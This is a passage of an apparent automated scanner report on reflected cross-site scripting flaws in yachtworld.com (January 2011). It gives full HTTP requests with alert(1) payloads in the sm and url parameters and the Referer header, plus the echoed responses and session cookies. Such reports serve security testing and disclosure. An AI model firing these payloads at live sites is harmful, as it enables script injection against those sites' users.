VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:58:44 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the sm request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e0811'%3balert(1)//840047d5ffc was submitted in the sm parameter. This input was echoed as e0811';alert(1)//840047d5ffc in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /core/listing/cache/searchResults.jsp?cit=true&slim=quick&sm=3e0811'%3balert(1)//840047d5ffc&hmid=0&ftid=0&enid=0¤cyid=100&luom=126&N=2280&searchtype=topmenu HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 500 Internal Server Error Date: Thu, 27 Jan 2011 20:58:45 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en-US"> <head>
...[SNIP]... <br>'+ 'ExceptionMessage: For input string: "3e0811';alert(1)//840047d5ffc"<br> ...[SNIP]...
The value of the url request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f5910"><script>alert(1)</script>e77c160dbbc was submitted in the url parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /leaving_yw.cgi?url=http://www.barkerassociates.netf5910"><script>alert(1)</script>e77c160dbbc HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:48:21 GMT Server: Apache Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=ISO-8859-1
The value of the url request parameter is copied into the value of a tag attribute which can contain JavaScript. The payload javascript%3aalert(1)//b314c5c8 was submitted in the url parameter. This input was echoed as javascript:alert(1)//b314c5c8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /leaving_yw.cgi?url=javascript%3aalert(1)//b314c5c8 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:48:22 GMT Server: Apache Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=ISO-8859-1
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 80587"><script>alert(1)</script>5c11019fc5d was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /leaving_yw.cgi HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952; Referer: 80587"><script>alert(1)</script>5c11019fc5d
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:36:48 GMT Server: Apache Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=ISO-8859-1
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9de77"><script>alert(1)</script>c55d3d98538 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /leaving_yw.cgi HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; 